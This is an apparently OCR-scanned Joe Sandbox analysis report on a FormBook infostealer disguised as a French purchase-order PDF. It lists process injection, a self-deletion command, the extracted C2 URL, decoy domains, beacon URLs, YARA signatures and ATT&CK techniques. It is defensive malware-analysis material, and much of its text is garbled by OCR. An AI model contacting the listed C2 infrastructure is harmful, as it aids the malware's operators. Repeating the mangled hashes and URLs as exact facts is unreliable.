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Windows Analysis Report Nouveau bon de commande. ...

Overview

General Information

Sample Nouveau bon de
Name: commande.
3007021_pdf.exe

Analysis ID: 458861

MD5: €1d1316d5bc047..
SHAL: ae3cb4a0103f8da.
SHA256: 6fd8c63bf53f736...
Infos: BQQugt sy

Most interesting Screenshot:

Process Tree

= System is w10x64

Detection

Score:
Range:
Whitelisted:

Confidence:

MALICIOUS

FormBook

100
0-100
false

100%

Signatures

Found malware configuration

Malicious sample detected (through ...

Multi AV Scanner detection for subm...

Snort IDS alert for network traffic (e....

System process connects to networ

Yara detected FormBook Z’
C2 URLs /IPs foundiin malware con... |
Initial sample is a PE file and has a. ...

Machine Learning detection for samp...

Maps a DLL or, memory area in

Modifies the context of a thread in a...

Queues an APC in another process ...

e (B Nouveau bon de commande. 3007021_pdf.exe (PID: 3704 cmdline: 'C:\Users\user\Desktop\Nouveau bon de commande. 3007021 _pdf.exe' MD5:

E1D1316D5BC047EC817B950286734EDO)
e (B Nouveau bon de commande. 3007021_pdf.exe (PID: 5028 cmdline: C:\Users\user\Desktop\Nouveau bon de commande. 3007021 _pdf.exe MD5:

E1D1316D5BC047EC817B950286734EDO)
o [ explorer.exe (PID: 3388 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)

e (B WWAHost.exe (PID: 1380 cmdline: C:\Windows\SysWOW64\WWAHost.exe MD5: 370C260333EB3149EF4E49C8F64652A0)

. cmd.exe (PID: 4120 cmdline: /c del 'C:\Users\user\Desktop\Nouveau bon de commande. 3007021 _pdf.exe’ MD5: F3BDBE3BB6F734E357235F4D5898582D)

o conhost.exe (PID: 3468 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021
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"C2 list": [

"www. trucktodock.com/ajs8/"

1,

"decoy": [
"lotfysupport.net”,
"tradingsentral.com”,
"mobiles240.com”,
"redecompre.com”,
"mulliganjames.com”,
"excursionlanzarote.com”,
"nlgetaccess.com”,
"wirelessconsole.com”,
"thevez.net",
"joygshpng.com",
"arandawines.com”,
"eliassantis.net”,
"racevc.com",
"mybluemonitor.com”,
"jual-penggugurkandungan.com”,
"connectgf.com",
"nmpsolutions.com”,
"anipawesome.com",
"vissito.com",
"terracottagkp.com”,
"oemintra.com",
"greensecuredeeparchive.com”,
"zhaobal7.com",
"indiadesignstory.com"”,
"handybusy.com",
"fkldklfdklfddef.com",
"winnadvisorsolutions.com”,
"signin-solution.com"”,
"comericac.com",
"tugqzcc.icu",
"discountpty.com”,
"dhclanrs.com”,
"tetasdeoro.com”,
"qroyalrealestate.com”,
"beweirdbrand.com",
"veganonthegreens.info",
"paulsplumbingllc.com”,
"ontimedigitalagency.com”,
"meohaysucsong.club",
"commandherofyou.com"”,
"travelawardsguide.com”,
"shopvybz.com",
"healthylivingawaits.com",
"theassistedadrscheme.com"”,
"iphonescreenprotect.com”,
"zhuqiuhuti. space”,
"514rosemont.com”,
"labour-exchange.com",
"sarahhubrealestate.com”,
"kcleases.com",
"kupitoptom.com”,
"drayasvista.com”,
"esmo-2017.com",

" jubmoprivacy.com”,
"heymayafilms.com”,
"beregnung-mv.com”,
"relishliferesearchcenter.com”,
"cchidwick.xyz",
"thederbyshiresoapcompany.com”,
"poconohomeinspectors.com”,
"gregorymazzalaw.com",
"ofaplatinumbonus.com”,
"laurenbarclay.com",
"sickandwireless.com"

Yara Overview

Memory Dumps

Source Rule

00000002.00000002.293883850.0000000001DF JoeSecurity_FormBook
0000.00000040.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source Rule Description Author Strings

00000002.00000002.293883850.0000000001DF Formbook_1 autogenerated rule Felix Bilstein - e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0000.00000040.00000001.sdmp brought to you by  yara-signator at e 0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494

e 0x14181:$sequence_2: 3B 4F 14 73 9585 C9 74 91

e 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02

83 E3 OF C1 EA 06

0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sqlite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

e o o o

00000002.00000002.293883850.0000000001DF Formbook detect Formbook in JPCERT/CC
0000.00000040.00000001.sdmp memory Incident Response
Group

e o o o o o

0000000A.00000002.472762051.0000000002A9 JoeSecurity_FormBook  Yara detected Joe Security
0000.00000040.00000001.sdmp FormBook

0000000A.00000002.472762051.0000000002A9 Formbook_1 autogenerated rule Felix Bilstein - e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0000.00000040.00000001.sdmp brought to you by  yara-signator at e 0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x14181:$sequence_2: 3B 4F 14 739585 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o

Click to see the 13 entries

Unpacked PEs

Source Rule Description Author Strings

2.2.Nouveau bon de commande. 3007021_pdf.exe.40000  JoeSecurity_FormBook Yara detected Joe Security
0.0.raw.unpack FormBook

2.2.Nouveau bon de commande. 3007021 _pdf.exe.40000  Formbook_1 autogenerated rule Felix Bilstein - e 0x85e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0.0.raw.unpack brought to you by  yara-signator at e 0x8982:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x14695:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x939a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxall2:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxla82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o

2.2.Nouveau bon de commande. 3007021_pdf.exe.40000  Formbook detect Formbook in JPCERT/CC
0.0.raw.unpack memory Incident Response
Group

0x166b9:$sqlite3step: 68 34 1C 7B E1
0x167cc:$sqlite3step: 68 34 1C 7B E1
0x166e8:$sqlite3text: 68 38 2A 90 C5
0x1680d:$sqlite3text: 68 38 2A 90 C5
0x166fb:$sglite3blob: 68 53 D8 7F 8C
0x16823:$sqlite3blob: 68 53 D8 7F 8C

e o o o o o

2.2.Nouveau bon de commande. 3007021_pdf.exe.40000  JoeSecurity_FormBook Yara detected Joe Security
0.0.unpack FormBook

2.2.Nouveau bon de commande. 3007021_pdf.exe.40000 Formbook_1 autogenerated rule Felix Bilstein - e 0x77e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0.0.unpack brought to you by  yara-signator at e 0x7b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator cocacoding dot e 0x13895:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 74 94
0x13381:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x859a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

e o o o

e o o o

Click to see the 1 entries
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Sigma Overview

No Sigma rule has matched

Jbx Signhature Overview

g

Click to jump to signature section

AV Detection:

]

Found malware configuration
Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud:

=

Yara detected FormBook

System Summary:

K

Malicious sample detected (through community Yara rule)

Malware Analysis System Evasion:

‘]

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

=

Stealing of Sensitive Information:

Yara detected FormBook

] ‘

Remote Access Functionality:

Yara detected FormBook
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Mitre Att&ck Matrix

Initial Privilege
Access Execution Persistence Escalation

Valid Shared Path Process

Defense Evasion

Masquerading

Accounts Modules Interception Injection

Default Scheduled Boot or Boot or Logon
Accounts  Task/Job  Logon Initialization
Initialization  Scripts
Scripts
Domain At (Linux) Logon Script Logon Script
Accounts (Windows)  (Windows)
Local At Logon Script Logon Script
Accounts  (Windows) (Mac) (Mac)
Cloud Cron Network Network Logon
Accounts Logon Script Script

Replication Launchd Rc.common Rc.common
Through

Removable

Media

External Scheduled  Startup Startup Items
Remote Task Iltems
Services

Behavior Graph

Disable or Modify

Tools

Virtualization/Sandbox

Evasion

Process

Injection

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Software Packing

Behavior Graph

: asass1
‘Sample:  Noweau bon de cammande, 0.

Sundate: 030812021

Architecture: | WINDOWS

Score 100

Credential
Access
[
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Discovery

Security Software

Discovery

Process Discovery

Virtualization/Sandbox

Evasion

Remote System
Discovery

System Information

Discovery

System Owner/User
Discovery

Network Sniffing

started

Lateral Command Network
Movement Collection Exfiltration and Control Effects
Remote Archive Exfiltration Encrypted Eavesdrop on
Services Collected  Over Other Channel Insecure
Data Network Network
Medium Communicatic
Remote Data from  Exfiltration Ingress Tool Exploit SS7 tc
Desktop Removable Over Transfer Redirect Phor
Protocol Media Bluetooth Calls/SMS
SMB/Windows Data from Automated Non- Exploit SS7 tc
Admin Shares Network Exfiltration Application Track Device
Shared Layer Location
Drive Protocol
Distributed Input Scheduled Application SIM Card
Component Capture Transfer Layer Swap
Object Model Protocol
SSH Keylogging Data Fallback Manipulate
Transfer Channels Device
Size Limits Communicatic
VNC GUI Input  Exfiltration  Multiband Jamming or
Capture Over C2 Communication Denial of
Channel Service
Windows Web Portal Exfiltration Commonly Rogue Wi-Fi
Remote Capture Over Used Port Access Points
Management Alternative
Protocol
Hide Legend
Legend:
D Process
. Signature
. Created File
Il onsiiPoinfo
ﬂ Is Dropped
A% Is Windows Process
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"en
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)

Delphi

i
i
=

Java

L@ 2 )

Internet

Visual Basic

.Net C# or VB.NET

Is malicious

[c] h:

l s

1 comostene

G

Number of created Registry Values

Number of created Files

C, C++ or other language

=
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

DUUDTUB...

EE!

N ENV

P
GIEEYES

= 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
Nouveau bon de commande. 3007021_pdf.exe
Nouveau bon de commande. 3007021_pdf.exe

Nouveau bon de commande. 3007021_pdf.exe

Nouveau bon de commande. 3007021_pdf.exe

Copyright Joe Security LLC 2021

Detection
61%
43%
82%

100%

Scanner
Virustotal
Metadefender

ReversingLabs

Joe Sandbox ML

Label Link
Browse
Browse
ByteCode-

MSIL.Trojan.AgentTesla
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https://www.virustotal.com/gui/file/6fd8c63bf53f7364e54505eb98e1b6fc005fbb691a65680e400e7b9104ad1795/detection/f-6fd8c63bf53f7364e54505eb98e1b6fc005fbb691a65680e400e7b9104ad1795-1627893793
https://www.metadefender.com/#!/results/file/bzIxMDgwMnhpMWJCRUZneThPekhKdjJob1V2/regular/analysis

Dropped Files

No Antivirus matches

Unpacked PE Files

Source

Domains

Source

trucktodock.com

URLs

Source
http:/fwww.founder.com.cn/cnN
http:/fwww.founder.com.cn/cn/bThe

http:/fwww.trucktodock.com/ajs8/?

q48d=HFQLptYpKX&3fBIVXm=3clrjpd8Uk1lyhLkd6I01KEeFnSa+FczhmxXwmvBnovuchEmM2e32CtS7Zj

KvbOkoSvtC

http:/fwww.theassistedadrscheme.com/ajs8/?

3fBIVXm=PXCQsRsj6f+UKLkz51YmBV65DPKHBBScBAKRYWuUZQRoQL6ffVXDgpay6Ct5U2sE+s509&q

48d=HFQLptYpKX

http:/itravelawardsguide.com/ajs8/?

3fBIVXm=SVinn/RS59BZjQ0Jq1nGaV1jlLxsdmH7K5f9UuJUxaq5Y OiipJWIfLZbL

http:/fwww.tiro.com

http://https://www.indiadesignstory.com/ajs8/?q48d=HFQLptYpKX&3fBIVXm=LEjUMU

hitp://www.goodfont.co.kr
http:/fwww.handybusy.com/ajs8/?

q48d=HFQLptYpKX&3fBIVXm=2BRIB0J+IU74eT9QrM34IgOLc6rvRxRggRQ5DmM44nGBTXrZyhrhiT7zm

yDKAgt3Lv1f/

http:/fwww.carterandcone.coml
hitp://www.sajatypeworks.com
http:/fwww.typography.netD
http:/fwww.founder.com.cn/cn/cThe
http:/fwww.galapagosdesign.com/staff/dennis.htm
http:/ifontfabrik.com
hitp://www.founder.com.cn/cn
www.trucktodock.com/ajs8/

http:/fwww.indiadesignstory.com/ajs8/?

q48d=HFQLptYpKX&3fBIVXm=LEjUMU+rw+m1MGLci6xLa4dkNPPdUPj6aoKRsjeM/sCEyOPaNWwzv7jP

2E4a8Zzb0ARTh
http:/fwww.jiyu-kobo.co.jp/
http:/fwww.galapagosdesign.com/DPlease
http:/fwww.sandoll.co.kr

http:/fwww.shopvybz.com/ajs8/?

3fBIVXm=hgPLwoezIU4RJIkzOayN9OUqrFULW7U9SfOZePsq8FIHYGJIIZCfIZB5ZbUnjAkpgHeNor&q48

d=HFQLptYpKX
http:/fwww.urwpp.deDPlease
http:/fwww.zhongyicts.com.cn
http:/fwww.sakkal.com

http:/fwww.discountpty.com/ajs8/?

q480d=HFQLptYpKX&3BIVXm=xNYePOCIRg8IONHI062QEZR3pjdpSOb6gFMYs+usdcNvgsBFMqM/aah

x6CIdT83Mlulq

Domains and IPs

Contacted Domains

Name
theassistedadrscheme.com
trucktodock.com

www.travelawardsguide.com

Copyright Joe Security LLC 2021

IP
34.102.136.180
34.102.136.180
217.160.0.64

Detection

Active
true

true

Scanner

Detection

3%

Detection
0%
0%
0%

0%

0%

0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%

0%
0%
0%
0%

0%
0%
0%
0%

Malicious
false

false

Label

Scanner

Virustotal

Scanner

Avira URL Cloud
URL Reputation
Avira URL Cloud

Avira URL Cloud

Avira URL Cloud

URL Reputation
Avira URL Cloud
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Antivirus Detection

* 3%, Virustotal, Browse

Link Download

Label Link

Browse

Label Link
safe
safe

safe

safe

safe

safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe

safe

safe
safe
safe

safe

Reputation

unknown

unknown

unknown
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https://www.virustotal.com/gui/url/d049dba0fa4d55b33c1e276fb515f0397fcc1c338d8c6220f1065237fe40038a/detection/u-d049dba0fa4d55b33c1e276fb515f0397fcc1c338d8c6220f1065237fe40038a-1627758609
https://www.virustotal.com/gui/url/d049dba0fa4d55b33c1e276fb515f0397fcc1c338d8c6220f1065237fe40038a/detection/u-d049dba0fa4d55b33c1e276fb515f0397fcc1c338d8c6220f1065237fe40038a-1627758609

Name Active Malicious Antivirus Detection Reputation

server.domainsconfig.ru 193.142.59.163 true false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http:/fwww.trucktodock.com/ajs8/? false e Avira URL Cloud: safe unknown
q48d=HFQLptYpKX&3fBIVXm=3clrjpd8Uk1yhLkd6I01KEeFnSa+FczhmxXwmvBnovuchEmM2

€32CtS7ZjKvbOkoSvtC

http:/fwww.theassistedadrscheme.com/ajs8/? false e Avira URL Cloud: safe unknown

3fBIVXm=PXCQsRsj6f+UKLkz5iYmBV65DPKHBBScBAKRYWuUZQRoQL6ffVXDgpay6Ct5U2s
E+s509&048d=HFQLptYpKX

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

34.102.136.180 theassistedadrscheme.co  United States = 15169 GOOGLEUS false

General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 458861

Start date: 03.08.2021

Start time: 20:10:19

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 8m 50s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Nouveau bon de commande. 3007021 _pdf.exe

Copyright Joe Security LLC 2021 Page 11 of 27



Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 26
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o ©o o o

Number of injected processes analysed:

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad. WinEXE@7/1@12/4

EGA Information: Failed

HDC Information: e Successful, ratio: 65.6% (good quality ratio 61.2%)

e Quality average: 72%

e Quality standard deviation: 30.5%
HCA Information: e Successful, ratio: 100%

e Number of executed functions: 0

e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

20:11:25 API Interceptor 1x Sleep call for process: Nouveau bon de commande. 3007021_pdf.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

23.227.38.74 Get hash malicious Browse e www.thefi
tflect.com/n8ba/?
YDK
PpTg0=0OvBv
P1Su9fwFYO0
UPKkWO0OanmpJ
M9mMANCcukN
JzgBj3kCnM
bGPnYOnff5
N4Ec4Xgmlq
GLmb&FHtx=
1bcPI8IOPF
atcZcp

Get hash malicious Browse e www.trend
yheld.com/
6mam/?wbYp
SP=EOpe+Y2
tITeS/NkCA
z5H/0Sd7jo
IrcEyLM5+s
A5RPKgWYHO
XmsRP4Irvm
GJTeseGmyQ
7XT1Vgg==
PJEt=HRRO_
XgHGBD8
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https://view.joesandbox.com/analysis/359332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359332/html/none?idtype=webid
https://view.joesandbox.com/analysis/359212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359212/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.salet

shirtonlin
e.net/vtg0/?
2d2hhfX=
wWLM7yM5qll
dfZe6bPcD5
+tHI9HSEHId
KxsDGDeiTU
WIc3xI5y5L
9vfIDIMr8b
E3UHW7IY&U
f=Vdm4RdxX
Y4ad4

WWW.go-Ti
llathebran
d.com/grve/?
kazI7v=+
aJGKTYs+v5
qwgDAZYrAi
qdMmvOKV8L
40B89/S9AI
34dIMYhgyT
3r4n/526+
wfpvND+&LZ
=7nAhDZO0Pqxa

www.miracle-
tone.com/usvr/?
T4Vtm=qT8HIA
SlzdvgtPuS
qeC+SgFU6Q
Hrw9xLc1n9
hn/9kejyrO
RZzjgAW1EW
dwGWEIWNFM
mS&mD=3f2X
LdWh

WWwWw.rootm
oover.com/wufn/?
n=p
DKh8nopV2b0&-
ZYx-=jU
gqWC+wOjrrn
f2CQrj52sy
V+yALdMbb6
PeVmesdIWI
CXWErNj937
WU588MC4hn
h1HpO+ODAG
Vw==

www.shopp
inkksugar.
com/cvrn/?
9rSx000p=I
u6dEYykmYB
ZDVkHqowf7
UFcij5h1gP
9UVPQOOFFQ
SHjdyZzHIZ
Y1xDiEpj6U
Byo6tZJCBz
fOA==&StT=FR-
8dxEhSB

www.themu
mmymarketp
lace.com/fznn/?
e0GHc
8YP=knTPA+
fOtKCZdIBA
Xg9m87w6tn
YHDJgknKET
7CvX32Y80Y
efcEllwgzd
AZ2fl6ctn9
k4&9rg=00GTJt

Www.river
aitc.com/6mam/?
TP=Snhjisl/g941
tYnedO532E
wcXneBDaw7
KeLS1bDcRf
/9DFIScc8F
KDp/bNw9azZ
vGYIrg4Q==
&0O2MOW=yVJ]
pjpi8601X
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https://view.joesandbox.com/analysis/359154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359154/html/none?idtype=webid
https://view.joesandbox.com/analysis/358655/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358655/html/none?idtype=webid
https://view.joesandbox.com/analysis/358643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358643/html/none?idtype=webid
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid
https://view.joesandbox.com/analysis/358544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358544/html/none?idtype=webid
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid
https://view.joesandbox.com/analysis/357825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357825/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.salet
shirtonlin
e.net/vtg0/?
8pcx=wLM
7yM5qlidfZ
e6bPcD5+tH
9HS6HIdKxs
DGDeiTUWIc
3xI5y5L9vf
JDJIMr8xbHk
HS5AY&b8Zd
=YdoHsDD

* www.essen
tiallyours
candles.co
m/p2io/?Lh
ZITrE=tOwa
JovINmitpr
CRi3+vLu8K
pTdHs2Vulj
zq3uMGq4g8
41w++xy1kQ
5hZRjoHtKI
VmiR&VN=1b
QLgD

e www.sling
modeinc.co
m/p4se/?7n
pd928=D5A6
1tOYXACBJn
TTL6EUJjOF
Orzb7pToer
B6ROMogPofj
rPCD8Igj7Q
s9cimkcPOL
oyCpBDdung
==&U2M=m0GHc

e www.seren
ityeternit
y.com/ushb/?-
ZT=4hqH
R&3feDA=59
BDWT+RfSt3
SBSoc1bHtk
+fi9zzfh2Z
kmW634jeoV
Z5ZNJtsds4
6fXGn58sLk
1vYRmMK

e www.shopi
nnocenceey
ejai.com/um8e/?
0T60=
5js4&khX81
N=xH37aAVz
z87XJyJmDm
CcM72NNpTFj
NoYi38LK6C
m6aAvAgvOe
e8djzuC2F/
V3G7HCeXQO

o www.isbpe
stcontrol.
com/wt5i/?
gPJtvx=4hQ
Lbd7p5RaTu
HV&KBAT-2H
=zGMYFR67|
DE2HH6VmM1z
czZHcFLOqy
m+4qYTJIbpM
zh4zré+Zyl
hBgKi2vQzU
iwesLouDL

o www.mrbea
gleshop.co
m/iuem/?A4
8t=Y8eiPa/
Nz3UJVAERz
DFIMhabbaO
L1i+JuDXOT
MHO4J5NnUw
gavKtuvVQDa
AM2tTgSlIsf
k&nN=1bVtlz
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https://view.joesandbox.com/analysis/357761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357761/html/none?idtype=webid
https://view.joesandbox.com/analysis/357694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357694/html/none?idtype=webid
https://view.joesandbox.com/analysis/357382/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357382/html/none?idtype=webid
https://view.joesandbox.com/analysis/357317/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357317/html/none?idtype=webid
https://view.joesandbox.com/analysis/357276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357276/html/none?idtype=webid
https://view.joesandbox.com/analysis/357147/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357147/html/none?idtype=webid
https://view.joesandbox.com/analysis/357134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357134/html/none?idtype=webid

Match

Domains

Match

shops.myshopify.com

ASN

Match
UNIFIEDLAYER-AS-1US
Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
- GethaSh
- GethaSh
- GerhaSh
- GethaSh
Associated Sample Name / URL SHA 256

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash

Detection

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

Link

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Context

o www.yummy

lipz.net/b8eu/?
5jLxCj7=BJsIvBS
ZAMMB8O3qgnT
BySesvKfic
y5ptvtRL/e
TMsGjTsJ8i
89FIxm8C2
ebAarH9of/
FaA==&S48H=-
ZSXKLQ8r2B4yP

Www.rootm
oover.com/wufn/?
VFENX
jbnp=jugwC
+wOjrrnf2C
Qrj52syV+y
ALdMbb6PeV
mesdIWICXW
ErNj937wWU5
88MO4y3t2e
500&R0GP=g
ODt1dZH_

www.timel
essthots.c
om/b82a/?b
TcT=0bhHK4
GPMBVHOFX&
R8SL=+W4cV
HxaRfYtjoY
DCK6op++cH
V2wfF4HITG
eqDXvDBZfF
EYSHEDLIPA
CuPNF30ITR
IFT3g==

o www.themu

mmymarketp
lace.com/fznn/?
0x=kn
TPA+f9tKCZ
dIBAXg9m87
w6tnYHDJgk
nKET7CvX32
Y80YefcELl
wgZdAawl1r
8V9aF/&S8D
hyH=5jU4g2_HxF

Context

e 23.227.38.74
e 23.227.38.74
e 23.227.38.74
23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74
23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74

23.227.38.74
23.227.38.74

Context
e 162.241.216.53
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https://view.joesandbox.com/analysis/357098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357098/html/none?idtype=webid
https://view.joesandbox.com/analysis/357077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357077/html/none?idtype=webid
https://view.joesandbox.com/analysis/356772/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356772/html/none?idtype=webid
https://view.joesandbox.com/analysis/356611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356611/html/none?idtype=webid
https://view.joesandbox.com/analysis/359332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359332/html/none?idtype=webid
https://view.joesandbox.com/analysis/359212/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359212/html/none?idtype=webid
https://view.joesandbox.com/analysis/359154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/359154/html/none?idtype=webid
https://view.joesandbox.com/analysis/358655/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358655/html/none?idtype=webid
https://view.joesandbox.com/analysis/358643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358643/html/none?idtype=webid
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358610/html/none?idtype=webid
https://view.joesandbox.com/analysis/358544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358544/html/none?idtype=webid
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/358479/html/none?idtype=webid
https://view.joesandbox.com/analysis/357825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357825/html/none?idtype=webid
https://view.joesandbox.com/analysis/357761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357761/html/none?idtype=webid
https://view.joesandbox.com/analysis/357694/html/none?idtype=webid#static
